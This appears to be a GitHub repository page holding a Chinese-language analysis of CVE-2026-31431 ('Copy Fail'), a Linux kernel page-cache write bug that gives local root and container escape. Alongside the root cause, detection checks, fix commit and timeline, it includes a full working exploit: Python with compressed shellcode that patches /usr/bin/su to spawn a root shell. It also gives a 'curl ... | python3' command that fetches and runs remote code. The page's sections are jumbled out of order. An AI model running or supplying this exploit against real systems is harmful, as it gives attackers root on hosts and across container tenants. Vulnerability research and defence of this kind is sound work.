TheMalwareGuardian/CVE-2026-31431
GitHub: TheMalwareGuardian/CVE-2026-31431
详细剖析 CVE-2026-31431(Copy Fail)Linux 内核漏洞的根本原因、利用方式和修复方案,展示如何通过三个看似无害的内核改动组合实现确定性本地提权与容器逃逸。
Stars: 1 | Forks: 0
# ***🐞 CVE-2026-31431 - Copy Fail***
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
```
该页面从未被标记为脏页(在此路径中未调用 SetPageDirty / mark_page_accessed)。内核回写机制不会将其刷入磁盘。磁盘上的文件保持不变.
## ***💥 影响***
对页缓存进行受控的 4 字节写入原语可转化为完全的本地权限提升 (LPE):
- 攻击者控制**哪个文件**(任何可读文件,包括 setuid 二进制文件)。
- 攻击者控制文件内的**哪个偏移量**(通过 assoclen、splice offset 和 splice length)。
- 攻击者控制**什么值**(这 4 个字节是 seqno_lo,由攻击者在 sendmsg() 中构造)。
通过每次迭代写入 4 个字节,攻击者可以将 shellcode 打补丁写入页缓存中 setuid 二进制文件的 .text 段。execve() 从页缓存加载,因此被篡改的二进制文件将以 UID 0 执行。
页缓存在**整个宿主机之间共享,包括所有容器**。Copy Fail 不仅仅是一个本地 LPE,它还是一个**容器逃逸原语**和一个 Kubernetes 节点沦陷向量。
| 环境 | 风险 | 结果 |
|--------------------------------|----------|----------------------------------------|
| 多租户 Linux 主机 | 严重 | 任何用户 → root |
| Kubernetes / 容器 | 严重 | Pod → 宿主机,跨租户 |
| CI 运行器(不受信任的 PR) | 严重 | PR → 运行器上的 root |
| 执行用户代码的云 SaaS | 严重 | 租户 → 宿主机 root |
| 单租户服务器 | 高 | 内部 LPE;与 Web RCE 链式利用 |
| 单用户工作站 | 中等 | 后渗透阶段的权限提升 |
## ***🎯 受影响的发行版***
任何运行在 2017 年至补丁发布之间构建的内核、并在默认配置中启用了 AF_ALG 的 Linux 系统,这实际上包含了所有主流发行版。
**由 Theori / Xint 直接验证:**
| 发行版 | 内核版本 |
|-------------------|-------------------------|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
运行受影响内核的其他发行版(Debian、Arch、Fedora、Rocky、Alma、Oracle、嵌入式目标)表现相同,该漏洞位于共享的 crypto 子系统中,而不在任何特定发行版的补丁中。
**漏洞利用要求:**
- 无特权的本地用户账户。
- AF_ALG 可用(所有主流发行版中默认启用)。
- splice(2) 可用(普遍可用)。
- 用于 os.splice 的 Python 3.10+,或能够从任何语言访问原始系统调用。
- 不需要内核调试功能,不需要特殊权限,不需要预先存在的原语。
## ***🔎 验证 - 我受影响吗?***
### ***1. 检查内核版本***
```
uname -r
```
如果内核是在 2017 年到补丁发布(提交 a664bf3d603d)之间构建的,则系统可能受到影响。请验证该补丁是否存在:
```
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
```
### ***2. 检查 AF_ALG 是否可用***
```
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.close()
print('[+] AF_ALG available - system potentially affected')
except Exception as e:
print(f'[-] AF_ALG not available: {e}')
"
```
### ***3. 检查 algif_aead 是否已加载***
```
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
```
### ***4. 攻击面验证脚本***
以下脚本检查易受攻击的路径是否可达。它不执行任何写入操作,仅验证攻击面的可用性:
```
#!/usr/bin/env python3
"""
Copy Fail (CVE-2026-31431) - Attack surface verification.
Does not perform any writes. Only checks whether the vulnerable path is available.
"""
import socket
import sys
def check_surface():
results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if __name__ == "__main__":
check_surface()
```
## ***💣 漏洞利用***
此漏洞利用最初由 Theori / Xint Code 于 2026 年 4 月 29 日与公开披露一同发布。
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **官方仓库:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **要求:** Python 3.10+,受影响的内核,AF_ALG 已启用。
```
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# 原文:Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# 要求:Python 3.10+ (os.splice)、受影响的内核 (2017-2026)、启用 AF_ALG。
# 默认目标:/usr/bin/su(任何可读的 setuid 二进制文件均可)。
# 对 page cache 的写入不是持久化的 - 它会在下次重启时被还原。
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# 打开目标二进制文件(任何用户均可读)
f = g.open("/usr/bin/su", 0)
# zlib 压缩的 shellcode - 修补 page cache 中的 /usr/bin/su
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# 以 4 字节块进行迭代:每次迭代都会对 page cache 执行一次受控写入
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# 在内存中执行已修补的二进制文件 - 以 UID 0 运行
g.system("su")
```
### ***执行***
```
# 直接下载并执行 (Theori 方法)
curl https://copy.fail/exp | python3
# 本地执行
python3 copy_fail_exp.py
# 使用替代的目标二进制文件(任何可读的 setuid-root 二进制文件)
python3 copy_fail_exp.py /usr/bin/passwd
# 验证结果
id
# uid=0(root) gid=1002(user) groups=1002(user)
```
## ***🔬 漏洞利用详解***
### ***步骤 1 - Socket 设置***
```
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
```
选择了 authencesn 模板——这是内核中唯一一个写入超出其合法输出区域的 AEAD 算法。这个选择是故意的:GCM、CCM 和标准的 authenc 不会触发此漏洞。
```
a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key
a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes
u, _ = a.accept() # operation socket
```
ALG_SET_AUTHSIZE = 4 设置了认证标签大小。这个值直接控制了 dst[assoclen + cryptlen] 相对于 scatterlist 中标签区域落地的位置,从而控制了页缓存页面中被覆盖的偏移量。
### ***步骤 2 - 构造写入***
对于 payload 的每一个 4 字节块:
```
# AAD = 8 字节:seqno_hi (字节 0-3) || seqno_lo (字节 4-7)
# seqno_lo = 我们想要写入 page cache 的 4 个字节
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
```
AAD 的第 4-7 字节 (seqno_lo) 正是 authencesn 写入 dst[assoclen + cryptlen] 的 4 个字节。攻击者将其构造为所需的 payload 值。
文件偏移量通过 splice 参数控制:
```
# t = 文件内的目标偏移量
# o = t + 4 = splice 长度(确保 tag 区域落在正确的偏移位置)
o = t + 4
r, w = os.pipe()
os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o
os.splice(pipe_rd, alg_fd, o)
```
### ***步骤 3 - 触发页缓存写入***
```
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
```
recv() 调用触发内核解密操作。recvmsg() 报错是预期行为且无关紧要。页缓存的写入已经发生。
### ***步骤 4 - 执行***
在遍历完所有 payload 块之后:
```
os.system("su")
```
execve("/usr/bin/su"):
1. 内核从页缓存加载该二进制文件。
2. 缓存页面包含了注入的 shellcode(磁盘上的文件未改变)。
3. /usr/bin/su 是 setuid-root 的:进程以有效 UID 0 启动。
4. shellcode 产生一个 root shell。
```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
```
## ***⚖️ 与 Dirty Cow / Dirty Pipe 的比较***
这三者都属于同一攻击类别:**从无特权的用户空间写入页缓存,而不修改磁盘上的文件,从而通过 setuid 二进制文件获取权限**。它们的机制和约束有很大不同。
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)**
- **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
- **[CVE-2026-31431 - Copy Fail](https://copy.fail/)**
| | Dirty Cow | Dirty Pipe | Copy Fail |
|--------------------|----------------------|-----------------|--------------------------|
| 机制 | 竞态条件 (COW) | Pipe 标志滥用 | AEAD 逻辑 + scatterlist |
| 需要竞态 | 是 | 否 | **否** |
| 可靠性 | 30-80% | 高 | **100%,单次触发** |
| 内核范围 | 2.6.22-4.8.3 | ≥5.8 (特定) | **2017-2026 (~9 年)** |
| 每个发行版的偏移量 | 是 | 部分 | **否** |
| 编译的 payload | 是 | 否 | **否** |
| 容器逃逸 | 否 | 否 | **是** |
## ***🩹 修复方案***
**主线提交 [`a664bf3d603d`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d) 修复了** [`72548b093ee3`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)(2017 年的就地优化)
该补丁将 algif_aead.c 恢复为非就地 (out-of-place) 操作。req->src 和 req->dst 再次成为分离的 scatterlist。通过 splice() 传递的页缓存页面保留在只读的 TX SGL (req->src) 中。RX 缓冲区——密码算法唯一被允许写入的内存——是用户的 recvmsg 缓冲区 (req->dst)。之前将标签页面(页缓存)链接到可写目标的 sg_chain() 机制已被移除。
```
/* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst */
aead_request_set_crypt(&areq->cra_u.aead_req,
areq->first_rsgl.sgl.sgt.sgl, /* RX SGL as src */
areq->first_rsgl.sgl.sgt.sgl, /* RX SGL as dst (same!) */
used, ctx->iv);
/* AFTER (fix) - separate scatterlists */
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, /* TX SGL as src (may contain page cache pages) */
areq->first_rsgl.sgl.sgt.sgl, /* RX SGL as dst (user buffer only) */
used, ctx->iv);
```
提交信息指出:“在 algif_aead 中进行就地操作没有任何好处,因为源和目的地来自不同的映射。”
## ***📅 披露时间线***
| 日期 | 事件 |
|------------|----------------------------------------------------------|
| 2026-03-23 | 漏洞报告给 Linux 内核安全团队 |
| 2026-03-24 | 收到初步确认 |
| 2026-03-25 | 提出并审查补丁 |
| 2026-04-01 | 补丁提交至主线 (a664bf3d603d) |
| 2026-04-22 | 分配 CVE-2026-31431 |
| 2026-04-29 | 公开披露,[copy.fail](https://copy.fail/) |
**发现者:** [Theori](https://theori.io/) / [Xint Code](https://xint.io/) 的 Taeyang Lee
## ***📚 参考文献***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
- **[Copy Fail - 官方披露](https://copy.fail/)**
- **[Theori / Xint 博客 - 完整文章](https://xint.io/blog/copy-fail-linux-distributions)**
- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
- **[提交 a664bf3d603d - 修复](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
- **[提交 72548b093ee3 - 根本原因 (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
- **[提交 a5079d084f8b - 引入 authencesn (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
- **[提交 104880a6b470 - authencesn 迁移至 AEAD API (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
authencesn 中的一个逻辑缺陷通过 AF_ALG 和 splice() 链式触发,实现对系统中任何可读文件的页缓存进行受控的 4 字节写入。无需竞态条件,无需偏移量,无需编译的 payload。同一个 732 字节的脚本自 2017 年起能在所有 Linux 发行版上获取 root 权限。
## ***📑 目录*** ## ***🔍 概述*** **[CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)** - *[Copy Fail](https://copy.fail/)* 是 Linux 内核的 authencesn 密码学模板中的一个逻辑缺陷。它允许无特权的本地用户对系统中任何可读文件的页缓存执行受控的 4 字节写入,而无需修改磁盘上的文件。 该漏洞并不单独存在于这三个组件中的任何一个。它是从它们的交互中产生的: ``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless. 2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable. 2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption. 2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017. ``` ## ***🧬 根本原因分析*** ### ***AF_ALG + splice() 原语*** AF_ALG(*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*)是一种 socket 类型,它将内核密码 API 暴露给无特权的用户空间。一个无特权的进程可以: 1. 打开一个 AF_ALG / SOCK_SEQPACKET socket。 2. 通过 bind() 绑定到内核 crypto API 暴露的任何可用 AEAD 模板。 3. 通过 setsockopt(SOL_ALG, ALG_SET_KEY, ...) 为配置好的算法设置密钥。 4. 调用 accept() 获取一个专用的操作 socket,用于处理加密和解密请求。 5. 使用 sendmsg() 发送构造的数据,并通过 recvmsg() 接收处理结果,完全与内核 crypto 子系统交互。 它在所有主要发行版的内核配置中均默认启用 (CONFIG_CRYPTO_USER_API_AEAD=y)。 **[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** 在文件描述符之间传输数据而无需复制——它传递的是页面的引用,而不是副本。相关流程如下: ``` open("/usr/bin/su") -> fd_file pipe() -> pipe_rd, pipe_wr # 将文件中的 N 个字节移动到管道中 # 管道缓冲区现在包含对 page cache 中同一物理页面的引用 splice(fd_file, pipe_wr, N) # 将该引用传递到 AF_ALG socket # algif_aead 的 TX scatterlist 现在指向 /usr/bin/su 的 page cache 页面 splice(pipe_rd, alg_fd, N) ``` AF_ALG socket 的 TX scatterlist 包含了对内核用于每次文件 `read()`、`mmap()` 和 `execve()` 时使用的相同物理页面的直接引用。不涉及任何拷贝。 ### ***2017 年的就地优化*** 提交 [72548b093ee3](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3),[algif_aead.c](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/crypto/algif_aead.c?id=72548b093ee3)。对于解密操作,其实现: 1. 将 AAD 和密文从 TX SGL(源)拷贝到 RX 缓冲区(目标)——一次真正的拷贝。 2. 通过 sg_chain() 链接认证标签页面,将页缓存引用保留在 RX SGL 中。 3. 设置 req->src = req->dst,两者都指向组合后的 RX SGL。 ``` TX SGL (input from splice): [ page cache page: AAD || CT || Tag ] In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm. ``` ### ***authencesn 中的越界写入*** authencesn 是内核中供带有扩展序列号 (RFC 4303) 的 IPsec 使用的 AEAD 包装器。IPsec 使用 64 位序列号: - seqno_hi - 高 32 位(AAD 的第 0-3 字节) - seqno_lo - 低 32 位(AAD 的第 4-7 字节) 只有 seqno_lo 在网络上传输;seqno_hi 是隐式上下文。对于 HMAC 计算,authencesn 需要重新排列这些字节:seqno_hi 放在开头,seqno_lo 放在哈希输入的末尾。 它通过使用调用者的目标 scatterlist 作为暂存空间来执行此重新排列: ``` /* crypto/authencesn.c - crypto_authenc_esn_decrypt() */ // [1] Read bytes 0-7 of the AAD from dst scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC) scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // [3] *** THE BUG *** // Writes seqno_lo at dst[assoclen + cryptlen] // This offset is AFTER the authentication tag - outside the legitimate AEAD output region. // authencesn uses this position as scratch space and NEVER restores the original bytes. scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); ``` 调用 [3] 在 dst[assoclen + cryptlen] 处写入 4 个字节。解密时 AEAD API 的输出约定是 AAD || 明文——正好是 assoclen + (cryptlen - authsize) 个字节。assoclen + cryptlen 位于认证标签之外。authencesn 写入了它不拥有的内存。 crypto_authenc_esn_decrypt_tail() 将 seqno_lo 读回以重建正确的 AAD,但从未恢复 dst[assoclen + cryptlen] 处的原始字节。无论 HMAC 检查成功还是失败,这种覆盖都是永久性的。 内核中没有其他标准 AEAD 算法有此行为。GCM、CCM 和标准的 authenc 都严格将它们的写入限制在合法的输出区域内。 ### ***三个无害的改动 → 一个严重的漏洞*** 在 algif_aead 2017 年之后的就地(in-place)路径中,作为 req->dst 传递给 authencesn 的 scatterlist 具有以下结构: ``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker) ``` scatterwalk_map_and_copy 没有页面所有权的概念,它只是通过 kmap_local_page 映射 scatterlist 指向的任何页面并写入其中。由于 req->dst 中存在页缓存页面,它最终映射了 "/usr/bin/su" 的缓存页面,并将 seqno_lo 直接写入了该文件在内核内存中的副本。 HMAC 是根据重新排列后的字节计算的,并且会失败(密文由攻击者控制)。recvmsg() 返回一个错误。但 4 字节的页缓存写入却保留了下来。 ### ***遍历 scatterlist 进入页缓存页面*** ``` struct scatterlist { unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN) unsigned int offset; // offset within the page unsigned int length; // bytes in this entry }; // sg_chain(sgl_a, nents_a, sgl_b): // sgl_a[nents_a-1].page_link |= SG_CHAIN; // sgl_a[nents_a-1].page_link = (unsigned long)sgl_b; // the last entry of sgl_a now points to the beginning of sgl_b RX SGL (req->dst) after in-place construction: entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied) entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied) entry[2]: SG_CHAIN -> TX SGL entry[2] | v page = page_cache_page_of_/usr/bin/su offset =标签:0day挖掘, 0day漏洞, AF_ALG, authencesn, Copy Fail, CVE-2026-31431, Linux内核漏洞, LPE, OOTW, Page Cache, splice(), Web报告查看器, 内存损坏, 内核安全, 子域名枚举, 安全渗透, 容器逃逸, 数据展示, 本地提权, 漏洞分析, 漏洞复现, 系统安全, 红队, 网络安全, 越界写入, 路径探测, 逆向工具, 隐私保护